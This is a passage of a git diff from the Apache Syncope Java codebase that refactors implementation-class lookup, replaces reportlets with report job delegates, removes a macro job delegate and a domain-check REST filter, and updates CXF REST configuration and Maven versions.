classNames.get(IdRepoImplementationType.MACRO_ACTIONS).add(bd.getBeanClassName()); + } else if (PlainAttrValueValidator.class.isAssignableFrom(clazz)) { + classNames.get(IdRepoImplementationType.ATTR_VALUE_VALIDATOR).add(bd.getBeanClassName()); + } else if (Command.class.isAssignableFrom(clazz)) { + classNames.get(IdRepoImplementationType.COMMAND).add(bd.getBeanClassName()); + } else if (RecipientsProvider.class.isAssignableFrom(clazz)) { + classNames.get(IdRepoImplementationType.RECIPIENTS_PROVIDER).add(bd.getBeanClassName()); + } else if (ItemTransformer.class.isAssignableFrom(clazz) + && !clazz.equals(JEXLItemTransformerImpl.class)) { - if (PullCorrelationRule.class.isAssignableFrom(clazz) && !isAbstractClazz) { + classNames.get(IdRepoImplementationType.ITEM_TRANSFORMER).add(clazz.getName()); + } else if (ReconFilterBuilder.class.isAssignableFrom(clazz)) { + classNames.get(IdMImplementationType.RECON_FILTER_BUILDER).add(bd.getBeanClassName()); + } else if (PropagationActions.class.isAssignableFrom(clazz)) { + classNames.get(IdMImplementationType.PROPAGATION_ACTIONS).add(bd.getBeanClassName()); + } else if (PullActions.class.isAssignableFrom(clazz)) { + classNames.get(IdMImplementationType.PULL_ACTIONS).add(bd.getBeanClassName()); + } else if (PushActions.class.isAssignableFrom(clazz)) { + classNames.get(IdMImplementationType.PUSH_ACTIONS).add(bd.getBeanClassName()); + } else if (PullCorrelationRule.class.isAssignableFrom(clazz)) { PullCorrelationRuleConfClass annotation = clazz.getAnnotation(PullCorrelationRuleConfClass.class); if (annotation == null) { LOG.warn("Found pull correlation rule {} without declared configuration", clazz.getName()); @@ -175,9 +199,7 @@ public void load() { classNames.get(IdMImplementationType.PULL_CORRELATION_RULE).add(clazz.getName()); pullCRClasses.put(annotation.value(), (Class) clazz); } - } - - if (PushCorrelationRule.class.isAssignableFrom(clazz) && !isAbstractClazz) { + } else if (PushCorrelationRule.class.isAssignableFrom(clazz)) { PushCorrelationRuleConfClass annotation = clazz.getAnnotation(PushCorrelationRuleConfClass.class); if (annotation == null) { LOG.warn("Found push correlation rule {} without declared configuration", clazz.getName()); @@ -185,67 +207,25 @@ public void load() { classNames.get(IdMImplementationType.PUSH_CORRELATION_RULE).add(clazz.getName()); pushCRClasses.put(annotation.value(), (Class) clazz); } - } - - if (ItemTransformer.class.isAssignableFrom(clazz) && !isAbstractClazz - && !clazz.equals(JEXLItemTransformerImpl.class)) { - - classNames.get(IdRepoImplementationType.ITEM_TRANSFORMER).add(clazz.getName()); - } - - if (SchedTaskJobDelegate.class.isAssignableFrom(clazz) && !isAbstractClazz - && !PullJobDelegate.class.isAssignableFrom(clazz) - && !PushJobDelegate.class.isAssignableFrom(clazz) - && !GroupMemberProvisionTaskJobDelegate.class.isAssignableFrom(clazz)) { - - classNames.get(IdRepoImplementationType.TASKJOB_DELEGATE).add(bd.getBeanClassName()); - } - - if (ReconFilterBuilder.class.isAssignableFrom(clazz) && !isAbstractClazz) { - classNames.get(IdMImplementationType.RECON_FILTER_BUILDER).add(bd.getBeanClassName()); - } - - if (LogicActions.class.isAssignableFrom(clazz) && !isAbstractClazz) { - classNames.get(IdRepoImplementationType.LOGIC_ACTIONS).add(bd.getBeanClassName()); - } - - if (PropagationActions.class.isAssignableFrom(clazz) && !isAbstractClazz) { - classNames.get(IdMImplementationType.PROPAGATION_ACTIONS).add(bd.getBeanClassName()); - } - - if (PullActions.class.isAssignableFrom(clazz) && !isAbstractClazz) { - classNames.get(IdMImplementationType.PULL_ACTIONS).add(bd.getBeanClassName()); - } - - if (PushActions.class.isAssignableFrom(clazz) && !isAbstractClazz) { - classNames.get(IdMImplementationType.PUSH_ACTIONS).add(bd.getBeanClassName()); - } - - if (PlainAttrValueValidator.class.isAssignableFrom(clazz) && !isAbstractClazz) { - classNames.get(IdRepoImplementationType.VALIDATOR).add(bd.getBeanClassName()); - } - - if (RecipientsProvider.class.isAssignableFrom(clazz) && !isAbstractClazz) { - classNames.get(IdRepoImplementationType.RECIPIENTS_PROVIDER).add(bd.getBeanClassName()); - } - - if (ProvisionSorter.class.isAssignableFrom(clazz) && !isAbstractClazz) { + } else if (ProvisionSorter.class.isAssignableFrom(clazz)) { classNames.get(IdMImplementationType.PROVISION_SORTER).add(bd.getBeanClassName()); - } - - if (Command.class.isAssignableFrom(clazz) && !isAbstractClazz) { - classNames.get(IdRepoImplementationType.COMMAND).add(bd.getBeanClassName()); + } else { + extImplTypes.forEach((typeName, typeInterface) -> { + Class tic = ClassUtils.resolveClassName(typeInterface, ClassUtils.getDefaultClassLoader()); + if (tic.isAssignableFrom(clazz)) { + classNames.get(typeName).add(bd.getBeanClassName()); + } + }); } } catch (Throwable t) { LOG.warn("Could not inspect class {}", bd.getBeanClassName(), t); } - }); + } classNames = Collections.unmodifiableMap(classNames); LOG.debug("Implementation classes found: {}", classNames); - jwtSSOProviderClasses = Collections.unmodifiableSet(jwtSSOProviderClasses); - reportletClasses = Collections.unmodifiableMap(reportletClasses); + reportJobDelegateClasses = Collections.unmodifiableMap(reportJobDelegateClasses); accountRuleClasses = Collections.unmodifiableMap(accountRuleClasses); passwordRuleClasses = Collections.unmodifiableMap(passwordRuleClasses); pullCRClasses = Collections.unmodifiableMap(pullCRClasses); @@ -258,15 +238,8 @@ public Set getClassNames(final String type) { } @Override - public Set> getJWTSSOProviderClasses() { - return jwtSSOProviderClasses; - } - - @Override - public Class getReportletClass( - final Class reportletConfClass) { - - return reportletClasses.get(reportletConfClass); + public Class getReportClass(final Class reportConfClass) { + return reportJobDelegateClasses.get(reportConfClass); } @Override diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/job/MacroRunJobDelegate.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/job/MacroRunJobDelegate.java deleted file mode 100644 index 781edbd3a2f..00000000000 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/job/MacroRunJobDelegate.java +++ /dev/null @@ -1,105 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.logic.job; - -import java.util.Map; -import java.util.Set; -import java.util.concurrent.ConcurrentHashMap; -import javax.validation.ConstraintViolation; -import javax.validation.Validator; -import org.apache.syncope.common.lib.command.CommandArgs; -import org.apache.syncope.core.logic.api.Command; -import org.apache.syncope.core.persistence.api.dao.ImplementationDAO; -import org.apache.syncope.core.persistence.api.entity.Implementation; -import org.apache.syncope.core.persistence.api.entity.task.MacroTask; -import org.apache.syncope.core.persistence.api.entity.task.TaskExec; -import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; -import org.apache.syncope.core.provisioning.java.job.AbstractSchedTaskJobDelegate; -import org.apache.syncope.core.spring.implementation.ImplementationManager; -import org.quartz.JobExecutionContext; -import org.quartz.JobExecutionException; -import org.springframework.beans.factory.annotation.Autowired; - -public class MacroRunJobDelegate extends AbstractSchedTaskJobDelegate { - - @Autowired - protected ImplementationDAO implementationDAO; - - @Autowired - protected Validator validator; - - protected final Map> perContextCommands = new ConcurrentHashMap<>(); - - @SuppressWarnings("unchecked") - @Override - protected String doExecute(final boolean dryRun, final String executor, final JobExecutionContext context) - throws JobExecutionException { - - StringBuilder output = new StringBuilder(); - for (int i = 0; i < task.getCommands().size(); i++) { - Implementation command = task.getCommands().get(i); - - Command runnable; - try { - runnable = (Command) ImplementationManager.build( - command, - () -> perContextCommands.get(command.getKey()), - instance -> perContextCommands.put(command.getKey(), instance)); - } catch (Exception e) { - throw new JobExecutionException("Could not build " + command.getKey(), e); - } - - String args = POJOHelper.serialize(task.getCommandArgs().get(i)); - - output.append("Command[").append(i).append("]: "). - append(command.getKey()).append(" ").append(args).append("\n"); - if (dryRun) { - output.append(command).append(' ').append(args); - } else { - try { - if (task.getCommandArgs().get(i) != null) { - Set> violations = validator.validate(task.getCommandArgs().get(i)); - if (!violations.isEmpty()) { - LOG.error("Errors while validating {}: {}", task.getCommandArgs().get(i), violations); - throw new IllegalArgumentException(task.getCommandArgs().get(i).getClass().getName()); - } - } - - output.append(runnable.run(task.getCommandArgs().get(i))); - } catch (Exception e) { - if (task.isContinueOnError()) { - output.append("Continuing on error: <").append(e.getMessage()).append('>'); - LOG.error("While running {} with args {}, continuing on error", command.getKey(), args, e); - } else { - throw new RuntimeException("While running " + command.getKey(), e); - } - } - } - output.append("\n\n"); - } - - output.append("COMPLETED"); - return output.toString(); - } - - @Override - protected boolean hasToBeRegistered(final TaskExec execution) { - return task.isSaveExecs(); - } -} diff --git a/core/idrepo/logic/src/test/java/org/apache/syncope/core/logic/DummyImplementationLookup.java b/core/idrepo/logic/src/test/java/org/apache/syncope/core/logic/DummyImplementationLookup.java index 92acd2764d7..e41cf4da86c 100644 --- a/core/idrepo/logic/src/test/java/org/apache/syncope/core/logic/DummyImplementationLookup.java +++ b/core/idrepo/logic/src/test/java/org/apache/syncope/core/logic/DummyImplementationLookup.java @@ -23,15 +23,13 @@ import org.apache.syncope.common.lib.policy.PasswordRuleConf; import org.apache.syncope.common.lib.policy.PullCorrelationRuleConf; import org.apache.syncope.common.lib.policy.PushCorrelationRuleConf; -import org.apache.syncope.common.lib.report.ReportletConf; -import org.apache.syncope.common.lib.report.UserReportletConf; -import org.apache.syncope.core.persistence.api.ImplementationLookup; -import org.apache.syncope.core.persistence.api.dao.AccountRule; -import org.apache.syncope.core.persistence.api.dao.PasswordRule; -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.PushCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.Reportlet; -import org.apache.syncope.core.provisioning.java.job.report.UserReportlet; +import org.apache.syncope.common.lib.report.ReportConf; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; +import org.apache.syncope.core.provisioning.api.job.report.ReportJobDelegate; +import org.apache.syncope.core.provisioning.api.rules.AccountRule; +import org.apache.syncope.core.provisioning.api.rules.PasswordRule; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRule; +import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRule; public class DummyImplementationLookup implements ImplementationLookup { @@ -46,18 +44,7 @@ public Set getClassNames(final String type) { } @Override - public Set> getJWTSSOProviderClasses() { - return Set.of(); - } - - @Override - public Class getReportletClass( - final Class reportletConfClass) { - - if (UserReportletConf.class.equals(reportletConfClass)) { - return UserReportlet.class; - } - + public Class getReportClass(final Class reportConfClass) { return null; } diff --git a/core/idrepo/logic/src/test/java/org/apache/syncope/core/logic/IdRepoLogicTestContext.java b/core/idrepo/logic/src/test/java/org/apache/syncope/core/logic/IdRepoLogicTestContext.java index ed654e422e4..e764e074cdb 100644 --- a/core/idrepo/logic/src/test/java/org/apache/syncope/core/logic/IdRepoLogicTestContext.java +++ b/core/idrepo/logic/src/test/java/org/apache/syncope/core/logic/IdRepoLogicTestContext.java @@ -25,14 +25,15 @@ import org.apache.syncope.common.keymaster.client.api.ServiceOps; import org.apache.syncope.core.persistence.api.DomainHolder; import org.apache.syncope.core.persistence.api.DomainRegistry; -import org.apache.syncope.core.persistence.api.ImplementationLookup; import org.apache.syncope.core.persistence.api.content.ContentLoader; import org.apache.syncope.core.persistence.jpa.MasterDomain; import org.apache.syncope.core.persistence.jpa.PersistenceContext; import org.apache.syncope.core.persistence.jpa.StartupDomainLoader; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; import org.apache.syncope.core.provisioning.java.ProvisioningContext; import org.apache.syncope.core.spring.security.SecurityContext; import org.apache.syncope.core.workflow.java.WorkflowContext; +import org.springframework.boot.logging.LoggingSystem; import org.springframework.context.ConfigurableApplicationContext; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; @@ -61,6 +62,11 @@ public JavaMailSender javaMailSender() { return mock(JavaMailSender.class); } + @Bean + public LoggingSystem loggingSystem() { + return mock(LoggingSystem.class); + } + @Bean public ImplementationLookup implementationLookup() { return new DummyImplementationLookup(); diff --git a/core/idrepo/logic/src/test/java/org/apache/syncope/core/logic/ReportLogicTest.java b/core/idrepo/logic/src/test/java/org/apache/syncope/core/logic/ReportLogicTest.java index 61391676d2b..463527ac03e 100644 --- a/core/idrepo/logic/src/test/java/org/apache/syncope/core/logic/ReportLogicTest.java +++ b/core/idrepo/logic/src/test/java/org/apache/syncope/core/logic/ReportLogicTest.java @@ -21,30 +21,32 @@ import static org.junit.jupiter.api.Assertions.assertFalse; import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.OutputStream; import java.util.List; -import java.util.Optional; +import java.util.Map; import java.util.stream.Collectors; import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.to.ReportTO; import org.apache.syncope.common.lib.types.IdMEntitlement; -import org.apache.syncope.common.lib.types.ReportExecExportFormat; -import org.apache.syncope.core.persistence.api.dao.ReportDAO; -import org.apache.syncope.core.persistence.api.dao.ReportExecDAO; -import org.apache.syncope.core.persistence.api.entity.EntityFactory; -import org.apache.syncope.core.persistence.api.entity.ReportExec; -import org.apache.syncope.core.provisioning.api.data.ReportDataBinder; +import org.apache.syncope.core.provisioning.api.job.JobManager; import org.apache.syncope.core.provisioning.api.job.report.ReportJobDelegate; -import org.apache.syncope.core.provisioning.java.job.report.DefaultReportJobDelegate; +import org.apache.syncope.core.provisioning.java.job.report.AbstractReportJobDelegate; +import org.apache.syncope.core.spring.ApplicationContextProvider; import org.apache.syncope.core.spring.security.SyncopeAuthenticationDetails; import org.apache.syncope.core.spring.security.SyncopeGrantedAuthority; import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; +import org.quartz.JobDataMap; +import org.quartz.JobExecutionContext; +import org.quartz.JobExecutionException; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.context.ApplicationEventPublisher; +import org.springframework.beans.factory.support.AbstractBeanDefinition; import org.springframework.security.authentication.UsernamePasswordAuthenticationToken; import org.springframework.security.core.GrantedAuthority; import org.springframework.security.core.context.SecurityContextHolder; @@ -53,6 +55,25 @@ @Transactional("Master") public class ReportLogicTest extends AbstractTest { + public static class TestReportJobDelegate extends AbstractReportJobDelegate { + + @Override + protected String doExecute( + final boolean dryRun, + final OutputStream os, + final String executor, + final JobExecutionContext context) throws JobExecutionException { + + try { + os.write("test".getBytes()); + } catch (IOException e) { + throw new JobExecutionException(e); + } + + return ""; + } + } + @BeforeAll public static void setAuthContext() { List authorities = IdMEntitlement.values().stream(). @@ -74,27 +95,10 @@ public static void unsetAuthContext() { @Autowired private ReportLogic logic; - @Autowired - private ReportDAO reportDAO; - - @Autowired - private ReportExecDAO reportExecDAO; - - @Autowired - private EntityFactory entityFactory; - - @Autowired - private ReportDataBinder reportDataBinder; - - @Autowired - private ApplicationEventPublisher publisher; - - private void checkExport(final String execKey, final ReportExecExportFormat fmt) throws IOException { - ReportExecExportFormat format = Optional.ofNullable(fmt).orElse(ReportExecExportFormat.XML); - ReportExec reportExec = logic.getReportExec(execKey); + private void checkExport(final String execKey) throws IOException { ByteArrayOutputStream os = new ByteArrayOutputStream(); - logic.exportExecutionResult(os, reportExec, format); + logic.exportExecutionResult(os, execKey); os.close(); byte[] entity = os.toByteArray(); @@ -112,19 +116,19 @@ public void executeAndExport() throws Exception { report = logic.read(report.getKey()); assertTrue(report.getExecutions().isEmpty()); - ReportJobDelegate delegate = new DefaultReportJobDelegate( - reportDAO, reportExecDAO, entityFactory, reportDataBinder, publisher); - delegate.execute(report.getKey(), "test"); + JobDataMap jobDataMap = new JobDataMap(Map.of(JobManager.EXECUTOR_KEY, "test")); + JobExecutionContext ctx = mock(JobExecutionContext.class); + when(ctx.getMergedJobDataMap()).thenReturn(jobDataMap); + + ReportJobDelegate delegate = (ReportJobDelegate) ApplicationContextProvider.getBeanFactory(). + createBean(TestReportJobDelegate.class, AbstractBeanDefinition.AUTOWIRE_BY_NAME, false); + delegate.execute(report.getKey(), false, ctx); report = logic.read(report.getKey()); assertFalse(report.getExecutions().isEmpty()); String execKey = report.getExecutions().get(0).getKey(); - checkExport(execKey, ReportExecExportFormat.XML); - checkExport(execKey, ReportExecExportFormat.HTML); - checkExport(execKey, ReportExecExportFormat.PDF); - checkExport(execKey, ReportExecExportFormat.RTF); - checkExport(execKey, ReportExecExportFormat.CSV); + checkExport(execKey); } } diff --git a/core/idrepo/pom.xml b/core/idrepo/pom.xml index 492e4ee7cf0..01887b4306c 100644 --- a/core/idrepo/pom.xml +++ b/core/idrepo/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-core - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core IdRepo diff --git a/core/idrepo/rest-cxf/pom.xml b/core/idrepo/rest-cxf/pom.xml index 2ff3c4f172f..22259d41773 100644 --- a/core/idrepo/rest-cxf/pom.xml +++ b/core/idrepo/rest-cxf/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.core syncope-core-idrepo - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core IdRepo REST CXF @@ -43,7 +43,7 @@ under the License. jakarta.servlet-api provided - + jakarta.persistence jakarta.persistence-api @@ -72,6 +72,10 @@ under the License. jackson-jaxrs-yaml-provider + + jakarta.xml.ws + jakarta.xml.ws-api + org.apache.cxf cxf-rt-frontend-jaxrs @@ -92,12 +96,6 @@ under the License. org.apache.cxf cxf-rt-rs-client - - org.apache.syncope.common.idrepo - syncope-common-idrepo-rest-api - ${project.version} - javadoc - org.apache.syncope.core.idrepo @@ -109,6 +107,12 @@ under the License. syncope-common-idrepo-rest-api ${project.version} + + org.apache.syncope.common.idrepo + syncope-common-idrepo-rest-api + ${project.version} + javadoc + diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/CheckDomainFilter.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/CheckDomainFilter.java deleted file mode 100644 index 17a13361d98..00000000000 --- a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/CheckDomainFilter.java +++ /dev/null @@ -1,74 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.rest.cxf; - -import java.io.IOException; -import javax.ws.rs.container.ContainerRequestContext; -import javax.ws.rs.container.ContainerRequestFilter; -import javax.ws.rs.container.PreMatching; -import javax.ws.rs.core.HttpHeaders; -import javax.ws.rs.core.MediaType; -import javax.ws.rs.core.Response; -import javax.ws.rs.ext.Provider; -import org.apache.syncope.common.lib.SyncopeConstants; -import org.apache.syncope.common.lib.to.ErrorTO; -import org.apache.syncope.common.lib.types.ClientExceptionType; -import org.apache.syncope.common.rest.api.RESTHeaders; -import org.apache.syncope.core.persistence.api.DomainHolder; - -/** - * Checks that requested Domain exists. - */ -@Provider -@PreMatching -public class CheckDomainFilter implements ContainerRequestFilter { - - protected final DomainHolder domainHolder; - - public CheckDomainFilter(final DomainHolder domainHolder) { - this.domainHolder = domainHolder; - } - - @Override - public void filter(final ContainerRequestContext reqContext) throws IOException { - String domain = reqContext.getHeaderString(RESTHeaders.DOMAIN); - if (domain != null && !SyncopeConstants.MASTER_DOMAIN.equals(domain)) { - if (!domainHolder.getDomains().containsKey(domain)) { - String message = "Domain '" + domain + "' not available"; - - ErrorTO error = new ErrorTO(); - error.setStatus(Response.Status.NOT_FOUND.getStatusCode()); - error.setType(ClientExceptionType.NotFound); - error.getElements().add(message); - - reqContext.abortWith(Response.status(Response.Status.NOT_FOUND). - entity(error). - header(HttpHeaders.CONTENT_TYPE, - reqContext.getAcceptableMediaTypes().isEmpty() - ? MediaType.APPLICATION_JSON - : reqContext.getAcceptableMediaTypes().get(0).toString()). - header(RESTHeaders.ERROR_CODE, - ClientExceptionType.NotFound.name()). - header(RESTHeaders.ERROR_INFO, - ClientExceptionType.NotFound.getInfoHeaderValue(message)). - build()); - } - } - } -} diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/IdRepoRESTCXFContext.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/IdRepoRESTCXFContext.java index 51755161c82..62f99da2ab5 100644 --- a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/IdRepoRESTCXFContext.java +++ b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/IdRepoRESTCXFContext.java @@ -22,13 +22,13 @@ import com.fasterxml.jackson.jaxrs.xml.JacksonXMLProvider; import com.fasterxml.jackson.jaxrs.yaml.JacksonYAMLProvider; import io.swagger.v3.oas.models.security.SecurityScheme; -import java.net.URL; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Set; import java.util.concurrent.ThreadPoolExecutor; -import javax.servlet.ServletRequestListener; +import java.util.stream.Collectors; +import javax.validation.Validator; import org.apache.cxf.Bus; import org.apache.cxf.endpoint.Server; import org.apache.cxf.jaxrs.ext.ContextProvider; @@ -61,13 +61,13 @@ import org.apache.syncope.common.rest.api.service.FIQLQueryService; import org.apache.syncope.common.rest.api.service.GroupService; import org.apache.syncope.common.rest.api.service.ImplementationService; +import org.apache.syncope.common.rest.api.service.JAXRSService; import org.apache.syncope.common.rest.api.service.MailTemplateService; import org.apache.syncope.common.rest.api.service.NotificationService; import org.apache.syncope.common.rest.api.service.PolicyService; import org.apache.syncope.common.rest.api.service.RealmService; import org.apache.syncope.common.rest.api.service.RelationshipTypeService; import org.apache.syncope.common.rest.api.service.ReportService; -import org.apache.syncope.common.rest.api.service.ReportTemplateService; import org.apache.syncope.common.rest.api.service.RoleService; import org.apache.syncope.common.rest.api.service.SchemaService; import org.apache.syncope.common.rest.api.service.SecurityQuestionService; @@ -93,7 +93,6 @@ import org.apache.syncope.core.logic.RealmLogic; import org.apache.syncope.core.logic.RelationshipTypeLogic; import org.apache.syncope.core.logic.ReportLogic; -import org.apache.syncope.core.logic.ReportTemplateLogic; import org.apache.syncope.core.logic.RoleLogic; import org.apache.syncope.core.logic.SchemaLogic; import org.apache.syncope.core.logic.SecurityQuestionLogic; @@ -125,7 +124,6 @@ import org.apache.syncope.core.rest.cxf.service.RealmServiceImpl; import org.apache.syncope.core.rest.cxf.service.RelationshipTypeServiceImpl; import org.apache.syncope.core.rest.cxf.service.ReportServiceImpl; -import org.apache.syncope.core.rest.cxf.service.ReportTemplateServiceImpl; import org.apache.syncope.core.rest.cxf.service.RoleServiceImpl; import org.apache.syncope.core.rest.cxf.service.SchemaServiceImpl; import org.apache.syncope.core.rest.cxf.service.SecurityQuestionServiceImpl; @@ -138,8 +136,6 @@ import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; import org.springframework.boot.context.properties.EnableConfigurationProperties; -import org.springframework.boot.web.servlet.ServletListenerRegistrationBean; -import org.springframework.context.ApplicationContext; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.PropertySource; @@ -193,15 +189,15 @@ public JacksonYAMLProvider yamlProvider() { @ConditionalOnMissingBean @Bean - public BeanValidationProvider validationProvider() { - return new BeanValidationProvider(); + public MDCInInterceptor mdcInInterceptor() { + return new MDCInInterceptor(); } @ConditionalOnMissingBean @Bean - public JAXRSBeanValidationInInterceptor validationInInterceptor(final BeanValidationProvider validationProvider) { + public JAXRSBeanValidationInInterceptor validationInInterceptor(final Validator validator) { JAXRSBeanValidationInInterceptor validationInInterceptor = new JAXRSBeanValidationInInterceptor(); - validationInInterceptor.setProvider(validationProvider); + validationInInterceptor.setProvider(new BeanValidationProvider(validator)); return validationInInterceptor; } @@ -222,20 +218,20 @@ public GZIPOutInterceptor gzipOutInterceptor() { @ConditionalOnMissingBean @Bean - public RestServiceExceptionMapper restServiceExceptionMapper(final Environment env) { - return new RestServiceExceptionMapper(env); + public ThreadLocalCleanupOutInterceptor threadLocalCleanupOutInterceptor() { + return new ThreadLocalCleanupOutInterceptor(); } @ConditionalOnMissingBean @Bean - public ContextProvider searchContextProvider() { - return new SearchContextProvider(); + public RestServiceExceptionMapper restServiceExceptionMapper(final Environment env) { + return new RestServiceExceptionMapper(env); } @ConditionalOnMissingBean @Bean - public CheckDomainFilter checkDomainFilter(final DomainHolder domainHolder) { - return new CheckDomainFilter(domainHolder); + public ContextProvider searchContextProvider() { + return new SearchContextProvider(); } @ConditionalOnMissingBean @@ -253,21 +249,18 @@ public AddETagFilter addETagFilter() { @ConditionalOnMissingBean(name = { "openApiCustomizer", "syncopeOpenApiCustomizer" }) @Bean public OpenApiCustomizer openApiCustomizer(final DomainHolder domainHolder, final Environment env) { - JavaDocProvider javaDocProvider = null; - - URL[] javaDocURLs = JavaDocUtils.getJavaDocURLs(); - if (javaDocURLs == null) { - String[] javaDocPaths = JavaDocUtils.getJavaDocPaths(env); - if (javaDocPaths != null) { - try { - javaDocProvider = new JavaDocProvider(javaDocPaths); - } catch (Exception e) { - LOG.error("Could not set javadoc paths from {}", List.of(javaDocPaths), e); - } - } - } else { - javaDocProvider = new JavaDocProvider(javaDocURLs); - } + JavaDocProvider javaDocProvider = JavaDocUtils.getJavaDocURLs(). + map(JavaDocProvider::new). + orElseGet(() -> JavaDocUtils.getJavaDocPaths(env). + map(javaDocPaths -> { + try { + return new JavaDocProvider(javaDocPaths); + } catch (Exception e) { + LOG.error("Could not set javadoc paths from {}", List.of(javaDocPaths), e); + return null; + } + }). + orElse(null)); SyncopeOpenApiCustomizer openApiCustomizer = new SyncopeOpenApiCustomizer(domainHolder); openApiCustomizer.setDynamicBasePath(false); @@ -278,8 +271,8 @@ public OpenApiCustomizer openApiCustomizer(final DomainHolder domainHolder, fina @ConditionalOnMissingBean @Bean - public OpenApiFeature openapiFeature(final OpenApiCustomizer openApiCustomizer, final ApplicationContext ctx) { - String version = ctx.getEnvironment().getProperty("version"); + public OpenApiFeature openapiFeature(final OpenApiCustomizer openApiCustomizer, final Environment env) { + String version = env.getProperty("version"); OpenApiFeature openapiFeature = new OpenApiFeature(); openapiFeature.setUseContextBasedConfig(true); openapiFeature.setTitle("Apache Syncope"); @@ -291,18 +284,9 @@ public OpenApiFeature openapiFeature(final OpenApiCustomizer openApiCustomizer, openapiFeature.setScan(false); openapiFeature.setResourcePackages(Set.of("org.apache.syncope.common.rest.api.service")); openapiFeature.setCustomizer(openApiCustomizer); - - Map securityDefinitions = new HashMap<>(); - SecurityScheme basicAuth = new SecurityScheme(); - basicAuth.setType(SecurityScheme.Type.HTTP); - basicAuth.setScheme("basic"); - securityDefinitions.put("BasicAuthentication", basicAuth); - SecurityScheme bearer = new SecurityScheme(); - bearer.setType(SecurityScheme.Type.HTTP); - bearer.setScheme("bearer"); - bearer.setBearerFormat("JWT"); - securityDefinitions.put("Bearer", bearer); - openapiFeature.setSecurityDefinitions(securityDefinitions); + openapiFeature.setSecurityDefinitions(Map.of( + "BasicAuthentication", new SecurityScheme().type(SecurityScheme.Type.HTTP).scheme("basic"), + "Bearer", new SecurityScheme().type(SecurityScheme.Type.HTTP).scheme("bearer").bearerFormat("JWT"))); return openapiFeature; } @@ -310,6 +294,7 @@ public OpenApiFeature openapiFeature(final OpenApiCustomizer openApiCustomizer, @ConditionalOnMissingBean @Bean public Server restContainer( + final List services, final AddETagFilter addETagFilter, final AddDomainFilter addDomainFilter, final ContextProvider searchContextProvider, @@ -317,22 +302,19 @@ public Server restContainer( final JacksonXMLProvider xmlProvider, final JacksonJsonProvider jsonProvider, final DateParamConverterProvider dateParamConverterProvider, + final MDCInInterceptor mdcInInterceptor, final JAXRSBeanValidationInInterceptor validationInInterceptor, final GZIPInInterceptor gzipInInterceptor, final GZIPOutInterceptor gzipOutInterceptor, + final ThreadLocalCleanupOutInterceptor threadLocalCleanupOutInterceptor, final OpenApiFeature openapiFeature, - final Bus bus, - final ApplicationContext ctx, - final CheckDomainFilter checkDomainFilter, - final RestServiceExceptionMapper restServiceExceptionMapper) { + final RestServiceExceptionMapper restServiceExceptionMapper, + final Bus bus) { SpringJAXRSServerFactoryBean restContainer = new SpringJAXRSServerFactoryBean(); restContainer.setBus(bus); restContainer.setAddress("/"); restContainer.setStaticSubresourceResolution(true); - restContainer.setBasePackages(List.of( - "org.apache.syncope.common.rest.api.service", - "org.apache.syncope.core.rest.cxf.service")); Map properties = new HashMap<>(); properties.put(SearchContextImpl.CUSTOM_SEARCH_PARSER_CLASS_PROPERTY, SyncopeFiqlParser.class.getName()); @@ -340,6 +322,8 @@ public Server restContainer( properties.put("convert.wadl.resources.to.dom", "false"); restContainer.setProperties(properties); + restContainer.setServiceBeans(services.stream().map(Object.class::cast).collect(Collectors.toList())); + 